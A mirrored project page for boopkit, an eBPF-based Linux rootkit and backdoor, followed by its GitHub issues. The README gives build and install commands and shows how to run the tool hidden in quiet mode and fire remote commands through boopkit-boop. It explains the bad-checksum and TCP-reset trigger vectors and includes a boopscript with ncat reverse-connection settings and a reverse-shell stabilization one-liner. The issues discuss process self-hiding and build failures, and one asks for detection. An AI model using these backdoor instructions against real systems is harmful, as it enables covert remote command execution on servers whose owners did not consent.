Giter Club home page Giter Club logo

boopkit's Introduction

================================================================

    ██████╗  ██████╗  ██████╗ ██████╗ ██╗  ██╗██╗████████╗
    ██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗██║ ██╔╝██║╚══██╔══╝
    ██████╔╝██║   ██║██║   ██║██████╔╝█████╔╝ ██║   ██║   
    ██╔══██╗██║   ██║██║   ██║██╔═══╝ ██╔═██╗ ██║   ██║   
    ██████╔╝╚██████╔╝╚██████╔╝██║     ██║  ██╗██║   ██║   
    ╚═════╝  ╚═════╝  ╚═════╝ ╚═╝     ╚═╝  ╚═╝╚═╝   ╚═╝   
    Author: Kris Nóva <[email protected]> Version 1.4.0
    
    IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 
    LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 
    EXEMPLARY, OR CONSEQUENTIAL DAMAGES.    

    DO NOT ATTEMPT TO USE THE TOOLS TO VIOLATE THE LAW.
    THE AUTHOR IS NOT RESPONSIBLE FOR ANY ILLEGAL ACTION.
    MISUSE OF THE SOFTWARE, INFORMATION, OR SOURCE CODE
    MAY RESULT IN CRIMINAL CHARGES.
    
    Use at your own risk.

================================================================

Boopkit.
Linux rootkit and backdoor. Built using eBPF.

Usage: 
boopkit [options]

Options:
-h, help           Display help and usage for boopkit.
-i, interface      Interface name. lo, eth0, wlan0, etc
-s, sudo-bypass    Bypass sudo check. Breaks PID obfuscation.
-r, reverse-conn   Attempt a reverse RCE lookup if no payload found.
-q, quiet          Disable output.
-x, reject         Source addresses to reject triggers from.

Linux backdoor, rootkit, and eBPF bypass tools. Remote command execution over raw TCP.

  • Tested on Linux kernel 5.16
  • Tested on Linux kernel 5.17
  • Remote code execution over TCP (SSH, Nginx, Kubernetes, etc)
  • Network gateway bypass (bad checksums, TCP reset)
  • Self obfuscation at runtime (eBPF process hiding)
Disclaimer

This is NOT an exploit! This requires prior privileged access on a server in order to work! I am a professional security researcher. These are white hat tools used for research purposes only. Use this responsibly. Never use this software illegally.

FSpgEXTacAYme8t

Server Side

Download and build boopkit.

wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.3.0.tar.gz
tar -xzf v1.3.0.tar.gz 
cd boopkit-1.3.0/
make
sudo make install

Run boopkit in the foreground.

# Reject all boops on localhost and 10.0.0.1
boopkit -x 127.0.0.1 -x 10.0.0.1

Run boopkit in the background in quiet mode.

# Danger! This can be VERY hard to stop! Run this at your own risk!
boopkit -q &

Boopkit is now running and can be exploited using the client boopkit-boop command line tool.

Client Side

Download and build boopkit.

wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.2.0.tar.gz
tar -xzf v1.2.0.tar.gz 
cd boopkit-1.2.0/
make
sudo make install

Run boopkit-boop against the server.

# ===================
RCE="ls -la"
# ===================
LHOST="127.0.0.1"
LPORT="3535"
RHOST="127.0.0.1"
RPORT="22"
boopkit-boop \
  -lhost $LHOST \
  -lport $LPORT \
  -rhost $RHOST \
  -rport $RPORT \
  -c "$RCE"

Boop Vectors

Boopkit will respond to various events on the network. Both of which can be triggered with the boopkit-boop tool.

TCP Header Format. Taken from RFC 793. September 1981

        0                   1                   2                   3
        0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |          Source Port          |       Destination Port        |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |                        Sequence Number                        |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |                    Acknowledgment Number                      |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |  Data |           |U|A|P|R|S|F|                               |
       | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
       |       |           |G|K|H|T|N|N|                               |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |           Checksum            |         Urgent Pointer        |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |                    Options                    |    Padding    |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       {                             data                              }
       {                             ....                              }
       {                             data                              }
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

1. Bad Checksum

First the boopkit-boop tool will send a malformed TCP SYN packet with an empty checksum to the server over a SOCK_RAW socket. This will trigger boopkit remotely regardless of what TCP services are running. This works against any Linux server running boopkit, regardless of the state of TCP services.

Use -p with boopkit-boop to only use this first vector.

⚠️ Some modern network hardware will DROP all malformed checksum packets such as the one required to exploit boopkit using this vector!

2. Sending ACK-RST packet

Next the boopkit-boop tool will complete a valid TCP handshake with a SOCK_STREAM socket against a remote TCP service such as SSH, Kubernetes, Nginx, etc. After the initial TCP handshake is complete, boopkit-boop will repeat the process a 2nd time. The 2nd handshake will flip the TCP reset flag in the packet, trigger a TCP reset on the server.

Either of these tactics are enough to independently trigger boopkit. Various network hardware and runtime conditions will make either tactic more viable. Boopkit will try both, and respond to both by default.

Boopscript

The boopscript file is a Metasploit compatible script that can be used to remotely trigger the boopkit backdoor after boopkit-boop is installed on a remote Linux machine.

# boopscript
RHOST="127.0.0.1"
RPORT="22"
LHOST="127.0.0.1"
LPORT="3535"

NCAT="/usr/bin/ncat"
NCATLISTENPORT="3545"

Compile Time Dependencies

  • 'clang'
  • 'bpftool' Required for libbpf
  • 'xdp-tools' Required for libxdp
  • 'llvm'
  • 'pcap'
  • 'lib32-glibc'

Reverse Shell Stabilization

python -c "import pty; pty.spawn('/bin/bash')"

References

Credit to the original authors for their helpful code samples! I forked a lot of code for this project!

boopkit's People

Contributors

krisnova avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

boopkit's Issues

coredump on ubuntu 21.04 with libbpf 0.6.1 and libbpf 0.7.0

hi whitehat, coredump on ubuntu 21.04, and what env you used ?

env

os:ubuntu 21.04
kernel: Linux vm-server 5.11.0-49-generic #55-Ubuntu SMP Wed Jan 12 17:36:34 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
golang:go version go1.17.2 linux/amd64
clang:Ubuntu clang version 12.0.0-3ubuntu1~21.04.2
libbpf:0.6.1/0.7.0

how to reproduce

coredump

make
sudo make install
boopkit -x 127.0.0.1
  -> Logs: cat /sys/kernel/tracing/trace_pipe
  -> Loading eBPF Probe: /root/.boopkit/pr0be.safe.o
  -> Obfuscating PID: 12973
  -> eBPF Probe loaded: /root/.boopkit/pr0be.safe.o
  -> Loading eBPF Probe: /root/.boopkit/pr0be.boop.o
libbpf: failed to find BTF for extern 'inet_ntop' [28] section: -2
Segmentation fault

debug with gdb

gdb
und-section

why

why linker create two *UND* section into pr0be.boop.o for inet_ntop and inet_pton.
how can it works?

thanks.

Build issue: invalid relo against 'pid_to_hide'

Hey there, I was trying to build this project on a fresh Ubuntu 20.04 install

I installed the following for the main dependencies:

  • linux-tools-common
  • linux-tools-5.13.0-40-generic
  • clang
  • llvm
  • gcc-multilib
  • the linux headers

For xdp tools: https://github.com/xdp-project/xdp-tools

  • m4
  • zlib1g
  • zlib1g-dev
  • libelf1
  • libelf-dev
  • libpcap-dev

I also installed libbpf from source: https://github.com/libbpf/libbpf

When I tried to run make, I got this error:

user@xb2004d2:~/git/boopkit-1.3.0$ make
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h
  ->  Building pr0be.boop.o
clang -S \
    -target bpf \
    -D __BPF_TRACING__ \
    -I/usr/local/include \
    -Wall \
    -Werror \
    -O2 -emit-llvm -c -g pr0be.boop.c
llc -march=bpf -filetype=obj -o pr0be.boop.o pr0be.boop.ll
  ->  Building pr0be.safe.o
clang -S \
    -target bpf \
    -D __BPF_TRACING__ \
    -I/usr/local/include \
    -Wall \
    -Werror \
    -O2 -emit-llvm -c -g pr0be.safe.c
llc -march=bpf -filetype=obj -o pr0be.safe.o pr0be.safe.ll
  ->  Building pr0be.xdp.o
clang -S \
    -target bpf \
    -D __BPF_TRACING__ \
    -I/usr/local/include \
    -Wall \
    -Werror \
    -O2 -emit-llvm -c -g pr0be.xdp.c
llc -march=bpf -filetype=obj -o pr0be.xdp.o pr0be.xdp.ll
  ->  Building eBPF pr0bes
  ->  Generating pr0be.skel.safe.h
bpftool gen skeleton pr0be.safe.o -p > pr0be.skel.safe.h
libbpf: prog 'handle_getdents_exit': invalid relo against 'pid_to_hide' in special section 0xfff2; forgot to initialize global var?..
make: *** [Makefile:47: skeleton] Error 255

During this process I also noticed that a file named 'm'$'\177' appeared with the content stable\n, which makes me think there was an environment variable or something that I may have not properly set up. In any case, would love some guidance on what the possible solution might be. Thank you!

Trigger Not Working

I am opening an issue specifically for this, as I assume folks are going to find it very quickly.

Right now boopkit works by sending a malformed TCP packet. That means, a TCP packet with a bad checksum. There are a few implications of this (for example IPv6 does not have a concept of a checksum) limitation to boopkit.

Most enterprise grade networking hardware will not deal with these types of TCP packets. In other words, if a server is running behind a proxy, a firewall, or some other form of gateway there is a high chance that the networking hardware will drop the malformed TCP packet before it reaches the destination.

In this situation boopkit will still be vulnerable to malformed TCP packets, simply the trigger will not be able to reach the destination.

I will open up other issues and features to try to address this limitation, but for now at least here is the explanation on what is going on.

Additional trigger (tcp_receive_reset)

Because of #3 we need to entertain alternative triggers other than tcp_bad_csum.

We can consider trying another trigger mechanism (tcp_receive_reset) which will allow the trigger to establish a TCP connection with the server, and midway through the TCP handshake send a reset.

I need to research how far along in the TCP handshake we need to be in order to trigger the eBPF probe. Regardless, most TCP connections will allow for a full handshake and data transmission regardless of authentication status. This is how SSH, Kubernetes, etc works.

Detection

We need a way to detect and ultimately stop boopkit :)

Privileged access required to load eBPF probe! ?

-> getuid() : 0
-> getpid() : 2468
-> getppid() : 2427
-> Logs : /sys/kernel/tracing/trace_pipe
-> Loading eBPF Probe : /root/.boopkit/pr0be.safe.o
-> Starting xCap Interface : lo
-> Initalizing Ring Buffer
libbpf: prog 'handle_getdents_patch': BPF program load failed: Invalid argument
libbpf: prog 'handle_getdents_patch': -- BEGIN PROG LOAD LOG --
R1 type=ctx expected=fp
0: R1=ctx(off=0,imm=0) R10=fp0
; size_t pid_tgid = bpf_get_current_pid_tgid();
0: (85) call bpf_get_current_pid_tgid#14 ; R0_w=scalar()
; size_t pid_tgid = bpf_get_current_pid_tgid();
1: (7b) *(u64 *)(r10 -8) = r0 ; R0_w=scalar() R10=fp0 fp-8_w=mmmmmmmm
2: (bf) r2 = r10 ; R2_w=fp0 R10=fp0
;
3: (07) r2 += -8 ; R2_w=fp-8
; long unsigned int *pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid);
4: (18) r1 = 0xffff99f6c34db400 ; R1_w=map_ptr(off=0,ks=8,vs=8,imm=0)
6: (85) call bpf_map_lookup_elem#1 ; R0_w=map_value_or_null(id=1,off=0,ks=8,vs=8,imm=0)
; if (pbuff_addr == 0) {
7: (15) if r0 == 0x0 goto pc+56 ; R0_w=map_value(off=0,ks=8,vs=8,imm=0)
; long unsigned int buff_addr = *pbuff_addr;
8: (79) r7 = *(u64 *)(r0 +0) ; R0_w=map_value(off=0,ks=8,vs=8,imm=0) R7_w=scalar()
9: (b7) r8 = 0 ; R8_w=0
; short unsigned int d_reclen_previous = 0;
10: (6b) *(u16 *)(r10 -10) = r8 ; R8_w=P0 R10=fp0 fp-16=00??????
11: (b7) r9 = 16 ; R9_w=16
12: (bf) r6 = r7 ; R6_w=scalar(id=2) R7_w=scalar(id=2)
13: (0f) r6 += r9 ; R6_w=scalar() R9_w=16
14: (bf) r1 = r10 ; R1_w=fp0 R10=fp0
;
15: (07) r1 += -10 ; R1_w=fp-10
; bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous),
16: (b7) r2 = 2 ; R2_w=2
17: (bf) r3 = r6 ; R3_w=scalar(id=3) R6_w=scalar(id=3)
18: (85) call bpf_probe_read_user#112 ; R0=scalar() fp-16=mm??????
; (struct linux_dirent64 *)(buff_addr + d_reclen_previous);
19: (69) r1 = *(u16 *)(r10 -10) ; R1_w=scalar(umax=65535,var_off=(0x0; 0xffff)) R10=fp0
; (struct linux_dirent64 *)(buff_addr + d_reclen_previous);
20: (0f) r7 += r1 ; R1_w=scalar(umax=65535,var_off=(0x0; 0xffff)) R7_w=scalar()
21: (0f) r7 += r9 ; R7_w=scalar() R9=16
; short unsigned int d_reclen = 0;
22: (6b) *(u16 *)(r10 -12) = r8 ; R8=P0 R10=fp0 fp-16=mm00????
23: (bf) r1 = r10 ; R1_w=fp0 R10=fp0
;
24: (07) r1 += -12 ; R1_w=fp-12
; bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
25: (b7) r2 = 2 ; R2_w=2
26: (bf) r3 = r7 ; R3_w=scalar(id=4) R7_w=scalar(id=4)
27: (85) call bpf_probe_read_user#112 ; R0_w=scalar() fp-16=mmmm????
; short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
28: (69) r1 = *(u16 *)(r10 -10) ; R1_w=scalar(umax=65535,var_off=(0x0; 0xffff)) R10=fp0
; short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
29: (69) r2 = *(u16 *)(r10 -12) ; R2_w=scalar(umax=65535,var_off=(0x0; 0xffff)) R10=fp0
; short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
30: (0f) r2 += r1 ; R1_w=scalar(umax=65535,var_off=(0x0; 0xffff)) R2_w=scalar(umax=131070,var_off=(0x0; 0x1ffff))
; short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
31: (6b) *(u16 *)(r10 -14) = r2 ; R2_w=scalar(umax=131070,var_off=(0x0; 0x1ffff)) R10=fp0 fp-16=mmmmmm??
32: (bf) r2 = r10 ; R2_w=fp0 R10=fp0
;
33: (07) r2 += -14 ; R2_w=fp-14
; long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new,
34: (bf) r1 = r6 ; R1_w=scalar(id=3) R6=scalar(id=3)
35: (b7) r3 = 2 ; R3_w=2
36: (85) call bpf_probe_write_user#36
unknown func bpf_probe_write_user#36
processed 36 insns (limit 1000000) max_states_per_insn 0 total_states 1 peak_states 1 mark_read 1
-- END PROG LOAD LOG --
libbpf: prog 'handle_getdents_patch': failed to load: -22
libbpf: failed to load object 'pr0be_safe'
libbpf: failed to load BPF skeleton 'pr0be_safe': -22
Unable to load eBPF object: /root/.boopkit/pr0be.safe.o
Privileged access required to load eBPF probe!
Permission denied.

Hide userspace component

Unacceptable options:

  • LD Preload example
  • Embed into another persistent Linux process (such as /usr/bin/init)

What I would like to do here is use the eBPF probe to hide itself! We should be able to hook into the systemcall filters for Linux and actually prevent userspace from finding the process itself. This would be a huge deal for eBPF backdoor communities!

Userspace ignore IP set

The new #4 feature has noisy public servers firing off ncat commands against it self alot.

Ideally we offer a "denylist" that can be plumbed through to boopkit at runtime so that we only are responding to specific blocks of IPs.

I wonder if there is a good CIDR library in C?

trigger missing?

The README (and remote/remote) makes reference to the trigger binary, but it doesn't seem that there's source nor a Makefile rule to build it. Was this intentional?

Unable to build fatal error: 'bpf/bpf_endian.h' file not found

Hello,

I wasn't able to build the bin I was receiving this errors:

~/bookit/boopkit-1.3.0$$ make
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h
  ->  Building pr0be.boop.o
clang -S \
    -target bpf \
    -D __BPF_TRACING__ \
    -I/usr/local/include \
    -Wall \
    -Werror \
    -O2 -emit-llvm -c -g pr0be.boop.c
pr0be.boop.c:25:10: fatal error: 'bpf/bpf_endian.h' file not found
#include <bpf/bpf_endian.h>
         ^~~~~~~~~~~~~~~~~~
1 error generated.
make: *** [Makefile:91: pr0be.boop.o] Error 1

I'm using Ubuntu 20.04 / 5.13.0-1022-aws / bpftool v5.13.19

Please let me know if you need more information, thank you.

Payload mode (single SYN mode)

Right now there are some encapsulation errors while transmitting the payload over a SYN packet.

Can be replicated:

Run boopkit in payload-only mode

boopkit -p

Boop with a single SYN packet

boopkit-boop -c "ls /"

Output:

  ** Boop EVENT_SRC_BAD_CSUM
  ** Boop source: 127.0.0.1
  -> Search xCap Ring Buffer: 127.0.0.1
  -> Taking snapshot of network traffic.
  -> Snapshot complete!
  -> Found RCE xCap!
  -> Free Snapshot
  <- Executing: ls /o
ls: cannot access '/o'$'\177': No such file or directory

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.